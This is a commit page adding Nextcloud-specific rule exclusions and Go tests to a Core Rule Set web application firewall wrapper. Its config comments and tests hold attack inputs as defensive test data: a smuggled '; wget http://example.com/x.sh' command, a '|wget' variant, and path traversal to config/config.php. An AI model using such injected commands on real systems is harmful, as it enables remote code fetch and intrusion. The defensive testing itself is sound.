Core Rule Set: Nextcloud's ordinary requests pass by default (closes #240)
check / check (push) Failing after 5m6s

Adds nextcloud.conf, the twelfth change. Nextcloud's WebDAV paths allow
PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT and SEARCH. The account-name
cookie nc_username, and the fields that carry a search, a name, a file name or
a folder on the sign-in page, the Files app, public shares and the OCS API,
skip the four rules that read them as commands or system files. Comments and
the text editor's document skip the two rules for a command after a ";" too;
932235 keeps "; wget" refused. Requests recorded from Nextcloud 35.0.2, its
web pages, sync client 3.16.7 with chunked uploads and the OCS API, pass at
the defaults and while bodies are read.

Model: opus-5-5
This commit is contained in:
sneak committed 2026-11-10 04:15:23 +00:00
1 parent 3d9e3976b0
commit 909aca3170
7 files changed
+1955 -27

No files matched your search

+17 -5
View File
@@ -1,6 +1,6 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_BODY_LIMIT is set, with the eleven changes sww
// body while SWW_WAF_BODY_LIMIT is set, with the twelve changes sww
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
// response.
@@ -34,7 +34,8 @@ import (
// paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
// giteaExclusions for the third, wordpressExclusions for the fourth,
// drupalExclusions for the fifth, and mediawikiExclusions for the sixth.
// drupalExclusions for the fifth, mediawikiExclusions for the sixth, and
// nextcloudExclusions for the seventh.
// Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
@@ -91,7 +92,10 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
# So does the tenth.
%s
# And the eleventh.
# So does the eleventh.
%s
# And the twelfth.
%s
# The sixth: only the rules for requests are loaded, and no response is
@@ -206,6 +210,14 @@ var drupalExclusions string
//go:embed mediawiki.conf
var mediawikiExclusions string
// nextcloudExclusions are the twelfth change: the fields of Nextcloud's
// own requests that skip the rules that refused them there, the WebDAV
// methods it uses, and its cookie of the account's name, as Coraza
// directives.
//
//go:embed nextcloud.conf
var nextcloudExclusions string
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change.
//
@@ -319,7 +331,7 @@ type CoreRuleSet struct {
bodyLimit int64
}
// New returns the Core Rule Set with the eleven changes, at params'
// New returns the Core Rule Set with the twelve changes, at params'
// paranoia level, without the rules it switches off, reading request
// bodies up to params' limit, and with params' exclusions file loaded
// before the Core Rule Set's rules. An exclusions file is an error if it
@@ -348,7 +360,7 @@ func New(params Params) (*CoreRuleSet, error) {
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
giteaExclusions, wordpressExclusions, drupalExclusions,
mediawikiExclusions)
mediawikiExclusions, nextcloudExclusions)
if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules))
+1 -1
View File
@@ -202,7 +202,7 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
}
// wantChange checks that crs lets through passes, a request one of the
// eleven changes is for, and still finds result in refused, a request like
// twelve changes is for, and still finds result in refused, a request like
// it that the change is not for.
func wantChange(
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
+165
View File
@@ -0,0 +1,165 @@
# The twelfth change: on Nextcloud's paths, some fields skip the rules that
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
# sends a search, a name, a file name, a folder, a comment or a document's text.
# Each exclusion runs with the request, before the rules it switches off, so
# this file is loaded before the Core Rule Set's rules. Each comment names a
# request a rule refused. An exclusion on a field of a JSON body applies only
# when the query has no parameter of that name, so it matters only while
# SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site root and
# under /index.php/, where a Nextcloud without pretty URLs serves them.
#
# Four rules read a search or a name as a command or a system file:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# Each exclusion below removes these four from its fields. Two more rules
# misfire on a comment or a document's text that runs a command after a ";",
# such as "Run python3 or powershell; ls -la shows .htaccess":
# 932125: ; ls
# 932230: ; ls -la
# Those fields skip them too. Rule 932235 stays, so that
# "; wget http://example.com/x.sh" is still refused there. It refuses
# "Run powershell; python3 next" too.
# The sync client and the Files app use these WebDAV methods besides those
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
# PROPFIND, PROPPATCH: listing a folder, marking a file a favourite
# MKCOL: making a folder, and starting a chunked upload
# COPY, MOVE: copying, moving and renaming, and ending a chunked upload
# REPORT: listing favourites and comments
# SEARCH: the Files app's search
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
"id:900100,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND PROPPATCH MKCOL COPY MOVE REPORT SEARCH'"
# Nextcloud keeps the name of the account signed in in the cookie nc_username,
# which every request sends, on every path. Each request of the account
# python3 was refused.
SecAction "id:900101,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;REQUEST_COOKIES:nc_username,\
ctl:ruleRemoveTargetById=932120;REQUEST_COOKIES:nc_username,\
ctl:ruleRemoveTargetById=932250;REQUEST_COOKIES:nc_username,\
ctl:ruleRemoveTargetById=932260;REQUEST_COOKIES:nc_username"
# Signing in, in the query or the body:
# user, password: user=python3&password=Example-pass-python3
# redirect_url: /login?redirect_url=/apps/files/%3Fdir%3D/Python3%20notes
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
"id:900102,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
"id:900103,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:dir,\
ctl:ruleRemoveTargetById=932120;ARGS:dir,\
ctl:ruleRemoveTargetById=932250;ARGS:dir,\
ctl:ruleRemoveTargetById=932260;ARGS:dir"
# The file names on a public share's page:
# file: /apps/files_sharing/publicpreview/<token>?file=/powershell+profile.ps1
# path, files: /s/<token>/download?path=/&files=powershell%20profile.ps1
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?(?:apps/files_sharing/publicpreview/|s/[^/]+/download$)" \
"id:900104,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:file|path|files)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:file|path|files)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:file|path|files)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:file|path|files)$/"
# The OCS API's searches and names, in the query, a form data body or a JSON
# body:
# search: /ocs/v2.php/cloud/users/details?search=python3, and the same on
# cloud/users, cloud/groups, cloud/groups/details and the sharees
# term, from: /ocs/v2.php/search/providers/files/search?term=python3
# groupid, userid, displayName: adding the group "Python3 admins" and the
# account python3, displayName=Ls+-la+Example
# groups[], or groups in JSON: the groups of a new account,
# groups[]=Python3+admins
# value: changing an account's name, address or headline, value=Powershell+Lane
# path, label, note, shareWith: sharing the folder "/ls -la output" with the
# label "python3 link" and the note "Read the .htaccess notes"
# message: the status "Writing python3 and powershell"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
"id:900105,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\[\])$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\[\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\[\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\[\])$/"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
"id:900106,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\.[0-9]+)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\.[0-9]+)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\.[0-9]+)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\.[0-9]+)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\.[0-9]+)$/"
# The name and slogan in the theming admin settings, in the JSON field value:
# {"setting":"slogan","value":"ls -la and .htaccess"}.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/theming/ajax/updateStylesheet$" \
"id:900107,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.value "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.value,\
ctl:ruleRemoveTargetById=932120;ARGS:json.value,\
ctl:ruleRemoveTargetById=932250;ARGS:json.value,\
ctl:ruleRemoveTargetById=932260;ARGS:json.value"
# The Text editor saves a document, such as a folder's Readme.md, with its
# path in the JSON field filePath and its text in autosaveContent. The text
# skips the two rules for a command after a ";" too.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/text/session/[0-9]+/save$" \
"id:900108,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:filepath|autosavecontent)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932230;ARGS:json.autosavecontent"
# A comment on a file, in the JSON field message of a new comment, and in the
# XML body of an edited one. It skips the two rules for a command after a ";"
# too. An edited comment's XML holds nothing else a person writes.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+$" \
"id:900109,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.message "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
ctl:ruleRemoveTargetById=932260;ARGS:json.message"
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+/[0-9]+$" \
"id:900110,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PROPPATCH" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*"
# The Files app's search sends its words in the XML body of a SEARCH request,
# <d:literal>%python3%</d:literal>, which holds nothing else a person writes.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/?$" \
"id:900111,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq SEARCH" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*"
# The name of a new tag, in the JSON field name: {"name": "python3"}.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
"id:900112,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.name "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
+368
View File
@@ -0,0 +1,368 @@
package coreruleset_test
import (
"html"
"net/http"
"net/url"
"strings"
"testing"
)
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const nextcloudThreshold = 5
// nextcloudShare is a public share's page.
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
// nextcloudUsers is the OCS API's list of accounts.
const nextcloudUsers = "/ocs/v2.php/cloud/users"
// nextcloudShares is the OCS API's list of shares.
const nextcloudShares = "/ocs/v2.php/apps/files_sharing/api/v1/shares"
// nextcloudFiles is the WebDAV folder of the account admin.
const nextcloudFiles = "/remote.php/dav/files/admin/"
// nextcloudSave is where the text editor saves a document.
const nextcloudSave = "/apps/text/session/1/save"
// The WebDAV methods the Files app's search and a comment's edit use, and
// the method the sync client lists a folder with.
const (
nextcloudSearch = "SEARCH"
nextcloudPropPatch = "PROPPATCH"
nextcloudPropFind = "PROPFIND"
)
// nextcloudOther is a JSON field no exclusion names.
const nextcloudOther = `{"other":"python3"}`
// nextcloudCommandAttack is a shell command after a ";", as a query value.
const nextcloudCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
}
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
// and 932260, each on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudQueryFields = []string{
"/login?user=",
"/login?redirect_url=",
"/index.php/login?user=",
"/apps/files/?dir=",
"/apps/files/files/134?dir=",
"/index.php/apps/files/?dir=",
"/apps/files_sharing/publicpreview/AbCdEfGhIjKlMnO?file=",
nextcloudShare + "/download?path=",
nextcloudShare + "/download?path=%2F&files=",
nextcloudUsers + "?search=",
nextcloudUsers + "/details?search=",
"/ocs/v2.php/cloud/groups?search=",
"/ocs/v1.php/cloud/groups/details?search=",
"/ocs/v2.php/apps/files_sharing/api/v1/sharees?search=",
nextcloudShares + "?path=",
"/ocs/v2.php/search/providers/files/search?term=",
"/ocs/v2.php/search/providers/files/search?term=x&from=",
}
// nextcloudFormFields are the form data fields that skip the four rules, each
// on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudFormFields = []struct{ target, field string }{
{"/login", "user="},
{"/login", "password="},
{nextcloudUsers, "userid="},
{nextcloudUsers, "displayName="},
{nextcloudUsers, "groups%5B%5D="},
{nextcloudUsers + "/admin", "value="},
{"/ocs/v2.php/cloud/groups", "groupid="},
{nextcloudShares, "path="},
{nextcloudShares, "label="},
{nextcloudShares, "shareWith="},
{"/ocs/v1.php/apps/files_sharing/api/v1/shares/1", "note="},
}
// nextcloudBody is a JSON or XML body, sent with its method to a path. It
// holds %s, where a value goes.
type nextcloudBody struct{ method, target, contentType, body string }
// nextcloudBodies are the JSON and XML fields that skip the four rules, each
// on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudBodies = []nextcloudBody{
{http.MethodPost, nextcloudUsers, jsonBody, `{"userid":"%s"}`},
{http.MethodPost, nextcloudUsers, jsonBody, `{"displayName":"%s"}`},
{http.MethodPost, nextcloudUsers, jsonBody, `{"groups":["Staff","%s"]}`},
{
http.MethodPut, nextcloudUsers + "/admin",
jsonBody, `{"key":"headline","value":"%s"}`,
},
{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
{
http.MethodPut, "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom",
jsonBody, `{"message":"%s"}`,
},
{
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
jsonBody, `{"setting":"slogan","value":"%s"}`,
},
{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
{
nextcloudSearch, "/remote.php/dav/", xmlBody,
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
},
}
// nextcloudTexts are the fields that hold what a person writes, which skip
// 932125 and 932230 too.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudTexts = []nextcloudBody{
{http.MethodPost, nextcloudSave, jsonBody, `{"autosaveContent":"%s"}`},
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
{
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
`<d:set><d:prop><oc:message>%s</oc:message></d:prop></d:set>` +
`</d:propertyupdate>`,
},
}
// nextcloudScores returns the score that the Core Rule Set, reading bodies,
// gives each request that sends value, a query value, in one of the fields
// above, keyed by the request. The texts hold text in its place.
func nextcloudScores(t *testing.T, value, text string) map[string]int {
t.Helper()
crs := readingBodies(t)
scores := map[string]int{}
for _, target := range nextcloudQueryFields {
scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
}
for _, sent := range nextcloudFormFields {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
scores["POST "+sent.target+" "+sent.field+value] = got.Score
}
send := func(sent nextcloudBody, value string) {
written, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
if sent.contentType == xmlBody {
written = html.EscapeString(written)
}
body := strings.Replace(sent.body, "%s", written, 1)
r := request{sent.method, sent.target, []string{sent.contentType}}
got, _ := inspectBody(t, crs, r, body)
scores[sent.method+" "+sent.target+" "+body] = got.Score
}
for _, sent := range nextcloudBodies {
send(sent, value)
}
for _, sent := range nextcloudTexts {
send(sent, text)
}
return scores
}
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, value := range hardValues {
// A text names the command or file in a sentence that runs ls -la
// after a ";", as recorded.
text := "Run%20" + value + "%3B%20ls%20-la%20next"
for request, score := range nextcloudScores(t, value, text) {
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
}
}
}
func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, attack := range []string{
sqlInjection,
"..%2F..%2Fconfig%2Fconfig.php",
scriptInjection,
nextcloudCommandAttack,
} {
for request, score := range nextcloudScores(t, attack, attack) {
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
}
}
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
cookie := func(value string) request {
return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
}
for _, value := range hardValues {
name, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
wantResult(t, crs, cookie(name), matched())
}
// A cookie cannot hold a ";", so the command follows a "|" instead.
for _, attack := range []string{
injection,
"../../config/config.php",
scriptTag,
"x|wget http://example.com/x.sh",
} {
if got := inspect(t, crs, cookie(attack)); got.Score < nextcloudThreshold {
t.Errorf("nc_username=%s let through: %+v", attack, got)
}
}
got := inspect(t, crs, get("/apps/files/", "Cookie: nc_other=python3"))
if got.Score < nextcloudThreshold {
t.Errorf("nc_other=python3 let through: %+v", got)
}
}
func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, method := range []string{
nextcloudPropFind, nextcloudPropPatch, "MKCOL", "COPY", "MOVE", "REPORT",
nextcloudSearch,
} {
for _, target := range []string{
nextcloudFiles, "/remote.php/dav", "/remote.php/webdav/",
"/public.php/dav/files/AbCdEfGhIjKlMnO/", "/public.php/webdav/",
} {
wantResult(t, crs, request{method, target, nil}, matched())
}
for _, target := range []string{
"/", "/dav/", "/x/remote.php/dav/", "/remote.php/davx/",
} {
wantResult(t, crs, request{method, target, nil}, matched(911100))
}
}
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
}
func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE"}
for _, method := range methods {
for _, target := range []string{
nextcloudFiles + "../../../config/config.php",
nextcloudFiles + "..%2F..%2F..%2Fconfig%2Fconfig.php",
} {
got := inspect(t, crs, request{method, target, nil})
if got.Score < nextcloudThreshold {
t.Errorf("%s %s let through: %+v", method, target, got)
}
}
}
}
func TestNextcloudExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, refused := range []string{
"/?dir=python3",
"/apps/other/?dir=python3",
"/apps/files/?other=python3",
"/login?other=python3",
"/x/login?user=python3",
nextcloudShare + "?files=powershell",
"/?file=powershell",
"/?search=python3",
nextcloudUsers + "?other=python3",
"/x/ocs/v2.php/cloud/users?search=python3",
} {
if got := inspect(t, crs, get(refused)); got.Score < nextcloudThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
for _, sent := range []nextcloudBody{
// A JSON field of the same name in the query keeps the rules.
{
http.MethodPost, "/remote.php/dav/comments/files/1?json.message=python3",
jsonBody, `{"message":"python3"}`,
},
{
http.MethodPost, "/apps/theming/ajax/updateStylesheet?json.value=python3",
jsonBody, `{"value":"python3"}`,
},
{
http.MethodPost, nextcloudUsers + "?json.userid=python3",
jsonBody, `{"userid":"python3"}`,
},
// Other JSON fields keep them.
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, nextcloudOther},
{http.MethodPost, nextcloudSave, jsonBody, nextcloudOther},
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, nextcloudOther},
{http.MethodPost, nextcloudUsers, jsonBody, nextcloudOther},
// XML on another path, or with another method, keeps them.
{
nextcloudSearch, nextcloudFiles,
xmlBody, `<d:literal xmlns:d="DAV:">python3</d:literal>`,
},
{
nextcloudPropPatch, nextcloudFiles + "notes.txt",
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
},
{
"REPORT", "/remote.php/dav/comments/files/1/2",
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
},
} {
r := request{sent.method, sent.target, []string{sent.contentType}}
got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < nextcloudThreshold {
t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
}
}
}
File diff suppressed because it is too large. Load diff